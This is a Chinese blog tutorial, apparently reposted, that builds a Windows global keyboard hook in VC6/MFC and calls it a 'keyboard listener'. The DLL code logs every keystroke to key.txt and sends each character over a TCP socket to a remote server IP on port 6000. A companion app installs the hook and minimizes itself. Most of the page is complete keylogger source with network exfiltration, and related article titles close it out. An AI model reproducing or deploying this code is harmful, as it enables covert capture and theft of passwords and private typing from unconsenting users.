用钩子机制实现键盘监听---键盘监听器
来源:互联网 发布:淘宝改类目影响排名吗 编辑:程序博客网 时间:2024/06/01 10:00
用钩子机制实现键盘监听—键盘监听器
Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘消息,外壳钩子可以截取、启动和关闭应用程序的消息等。本文在VC6编程环境下实现了一个简易的键盘监听器,并对Win32全局钩子的运行机制。
废话不多说,先上程序代码及实现过程
第一部分:创建动态链接库
1、创建一个 MFC AppWizard(DLL) 工程 命名为 MyHook;
2、选择MFC Extension DLL(共享MFC拷贝)类型;
3、由于VC 6.0是没有现成的钩子类,所以我们要创建一个钩子类
点击 文件->新建->C/C++ Header File,命名为CMyHook,点击 确定,生成CMyHook.h文件;
4、打开CMyHook.h文件,写入钩子类,如下:
CMyHook.h
class AFX_EXT_CLASS CMyHook : public CObject{public: CMyHook(); //构造函数 virtual ~CMyHook(); //析构函数public: BOOL StartHook(); //安装钩子 BOOL StopHook(); //卸载钩子};
5、打开MyHook.cpp文件,在顶部加入:#include “CMyHook.h”
6、在MyHook.cpp文件中加入全局共享数据段,如下:
#pragma data_seg("mydata") HHOOK glhHook=NULL; //安装globle勾子句柄 HINSTANCE glhInstance=NULL; //DLL实例句柄 #pragma data_seg()
7、定义数据段mydata,工程-> 设置-> 连接-> 工程 选项-> 加入语句:/SECTION:mydata,rws
8、在MyHook.cpp的DLLMain函数中加入语句: glhInstance=hInstance;//插入保存DLL实例句柄
如下:
..... UNREFERENCED_PARAMETER(lpReserved); if (dwReason == DLL_PROCESS_ATTACH) { TRACE0("MYHOOK.DLL Initializing!\n"); // Extension DLL one-time initialization if (!AfxInitExtensionModule(MyHookDLL, hInstance)) return 0; // Insert this DLL into the resource chain // NOTE: If this Extension DLL is being implicitly linked to by // an MFC Regular DLL (such as an ActiveX Control) // instead of an MFC application, then you will want to // remove this line from DllMain and put it in a separate // function exported from this Extension DLL. The Regular DLL // that uses this Extension DLL should then explicitly call that // function to initialize this Extension DLL. Otherwise, // the CDynLinkLibrary object will not be attached to the // Regular DLL's resource chain, and serious problems will // result. new CDynLinkLibrary(MyHookDLL); glhInstance=hInstance;//插入保存DLL实例句柄 } else if (dwReason == DLL_PROCESS_DETACH) { .....
9、接下来就是与钩子相关的各个函数的实现
实现回调函数
//钩子回调函数LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam){ char ch=0; FILE *fl; if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下 { if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) ) { fl=fopen("key.txt","a+"); //输出到key.txt文件 if (wParam==VK_RETURN) { ch=' '; } else { BYTE ks[256]; GetKeyboardState(ks); WORD w; UINT scan=0; ToAscii(wParam,scan,ks,&w,0); //ch=MapVirtualKey(wParam,2); //把虚键代码变为字符 ch =char(w); } fwrite(&ch, sizeof(char), 1, fl); ConnectionTo(ch); } fclose(fl); } return CallNextHookEx( glhHook, nCode, wParam, lParam ); }
实现钩子类的构造函数、析构函数、安装、卸载
CMyHook::CMyHook(){}CMyHook::~CMyHook(){ if(glhHook) UnhookWindowsHookEx(glhHook);}//安装钩子BOOL CMyHook::StartHook(){ BOOL bResult=FALSE; glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0); if(glhHook!=NULL) bResult=TRUE; return bResult; }//卸载钩子BOOL CMyHook::StopHook() { BOOL bResult=FALSE; if(glhHook) { bResult= UnhookWindowsHookEx(glhHook); if(bResult) glhHook=NULL; } return bResult;}
10、由于我们要实现监听信息的远程传输,所以我们要用到socket技术,在回调函数之前加入下列代码,创建成一个客户端
BOOL ConnectionTo(char ch){ //加载套接字 WORD wVersionRequested;//指定准备加载Winsock的库版本,如2.1 WSADATA wsaData; int err; SOCKET sockClient; //初始化--连接服务器 wVersionRequested = MAKEWORD(1 ,1 ); err = WSAStartup(wVersionRequested ,&wsaData );//该函数,把wsaData数据结构中第一个字段wVersion设为wVersionRequested使用的Winsock版本 if( err!= 0){ return false; } if(LOBYTE(wsaData.wVersion) !=1 || HIBYTE(wsaData.wVersion) !=1 ){ WSACleanup(); return false; } sockClient = socket(AF_INET,SOCK_STREAM,0);//流式 套接字 SOCKADDR_IN addrSrv ; addrSrv.sin_addr.S_un.S_addr = inet_addr("***.**.**.**");//server IP (设置成接受信息的主机IP) addrSrv.sin_family = AF_INET; addrSrv.sin_port=htons(6000); //端口 //连接服务器 connect(sockClient,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)); //发送数据 send(sockClient,&ch,strlen(&ch),0); return TRUE;}
11、在顶部的,引入Winsock2头文件,再点击 工程-> 设置-> 连接-> 对象/库模块-> 加入语句:wsock32.lib->确定
12、MyHook.cpp代码如下:
// MyHook.cpp : Defines the initialization routines for the DLL.//#include "stdafx.h"#include <afxdllx.h>#include "CMyHook.h"#include <Winsock2.h>#ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FILE__;#endif#pragma data_seg("mydata") HHOOK glhHook=NULL; //安装globle勾子句柄 HINSTANCE glhInstance=NULL; //DLL实例句柄#pragma data_seg()static AFX_EXTENSION_MODULE MyHookDLL = { NULL, NULL };extern "C" int APIENTRYDllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved){ // Remove this if you use lpReserved UNREFERENCED_PARAMETER(lpReserved); if (dwReason == DLL_PROCESS_ATTACH) { TRACE0("MYHOOK.DLL Initializing!\n"); // Extension DLL one-time initialization if (!AfxInitExtensionModule(MyHookDLL, hInstance)) return 0; // Insert this DLL into the resource chain // NOTE: If this Extension DLL is being implicitly linked to by // an MFC Regular DLL (such as an ActiveX Control) // instead of an MFC application, then you will want to // remove this line from DllMain and put it in a separate // function exported from this Extension DLL. The Regular DLL // that uses this Extension DLL should then explicitly call that // function to initialize this Extension DLL. Otherwise, // the CDynLinkLibrary object will not be attached to the // Regular DLL's resource chain, and serious problems will // result. new CDynLinkLibrary(MyHookDLL); glhInstance=hInstance;//插入保存DLL实例句柄 } else if (dwReason == DLL_PROCESS_DETACH) { TRACE0("MYHOOK.DLL Terminating!\n"); // Terminate the library before destructors are called AfxTermExtensionModule(MyHookDLL); } return 1; // ok}BOOL ConnectionTo(char ch){ //加载套接字 WORD wVersionRequested;//指定准备加载Winsock的库版本,如2.1 WSADATA wsaData; int err; SOCKET sockClient; //初始化--连接服务器 wVersionRequested = MAKEWORD(1 ,1 ); err = WSAStartup(wVersionRequested ,&wsaData );//该函数,把wsaData数据结构中第一个字段wVersion设为wVersionRequested使用的Winsock版本 if( err!= 0){ return false; } if(LOBYTE(wsaData.wVersion) !=1 || HIBYTE(wsaData.wVersion) !=1 ){ WSACleanup(); return false; } sockClient = socket(AF_INET,SOCK_STREAM,0);//流式 套接字 SOCKADDR_IN addrSrv ; addrSrv.sin_addr.S_un.S_addr = inet_addr("***.**.**.**");//server IP (设置成接受信息的主机IP) addrSrv.sin_family = AF_INET; addrSrv.sin_port=htons(6000); //端口 //连接服务器 connect(sockClient,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)); //发送数据 send(sockClient,&ch,strlen(&ch),0); return TRUE;}//钩子回调函数LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam){ char ch=0; FILE *fl; if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下 { if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) ) { fl=fopen("key.txt","a+"); //输出到key.txt文件 if (wParam==VK_RETURN) { ch=' '; } else { BYTE ks[256]; GetKeyboardState(ks); WORD w; UINT scan=0; ToAscii(wParam,scan,ks,&w,0); //ch=MapVirtualKey(wParam,2); //把虚键代码变为字符 ch =char(w); } fwrite(&ch, sizeof(char), 1, fl); ConnectionTo(ch); } fclose(fl); } return CallNextHookEx( glhHook, nCode, wParam, lParam ); }CMyHook::CMyHook(){}CMyHook::~CMyHook(){ if(glhHook) UnhookWindowsHookEx(glhHook);}//安装钩子BOOL CMyHook::StartHook(){ BOOL bResult=FALSE; glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0); if(glhHook!=NULL) bResult=TRUE; return bResult; }//卸载钩子BOOL CMyHook::StopHook() { BOOL bResult=FALSE; if(glhHook) { bResult= UnhookWindowsHookEx(glhHook); if(bResult) glhHook=NULL; } return bResult;}
13、编译
第二部分:创建钩子程序
1、创建一个MFC的AppWizard(EXE) 工程,命名为 KeyHook
2、选择 创建新的工作空间 , 点击确定
3、找到刚才编译完成的MyHook文件夹,将CMyHook.h和MyHook.dll、MyHook.lib(在Debug文件夹中) 复制到KeyHook文件夹中
4、点击 工程-> 添加到工程-> 文件-> 选择CMyHook.h和MyHook.lib-> 点击确定
5、设置库链接,点击 工具-> 选项-> 目录-> 路径-> 加入当前KeyHook文件夹的路径
6、在KeyHookDlg.h中加入包含语句:#include “CMyHook.h”
7、在KeyHookDlg.h中添加私有数据成员:
CMHook m_hook;//加入钩子类作为数据成员
8、把OK按钮ID改为ID_HOOK,写安装和卸载的实现代码
void CKeyHookDlg::OnHook() { // TODO: Add your control notification handler code here m_hook.StartHook(); ShowWindow(SW_MINIMIZE);}void CKeyHookDlg::OnCancel() { // TODO: Add extra cleanup here m_hook.StopHook(); CDialog::OnCancel();}
9、编译生成可执行文件
点击确定,安装钩子;键盘的按下会显示在服务器端,同时也会记入本机的key.tet文件中
- 用钩子机制实现键盘监听---键盘监听器
- GUI事件监听键盘监听器
- 键盘钩子的实现
- 键盘钩子的实现
- QT实现键盘钩子
- 全局钩子监听键盘鼠标事件
- C实现的键盘钩子
- wince键盘钩子的实现
- C#实现鼠标、键盘钩子
- JS实现键盘监听
- JS实现键盘监听
- JAVA:事件监听器之键盘监听
- 键盘钩子
- 键盘钩子
- 键盘钩子
- 键盘钩子
- 键盘钩子
- 键盘钩子
- MongoDB分片
- java画图面板
- Qt经典—线程、事件与Qobject
- Unity的拍照功能
- LeetCode 371. Sum of Two Integers
- 用钩子机制实现键盘监听---键盘监听器
- JavaEE学习笔记之Servlet/JSP(5)
- 【Python学习笔记】python高级特性:切片
- 【训练题】强连通分量缩点
- 重建二叉树
- Qt 读取 XML 文档
- 分布式系统设计系列 -- 基本原理及高可用策略
- 布隆过滤器原理和例子
- Base64 编码/解码器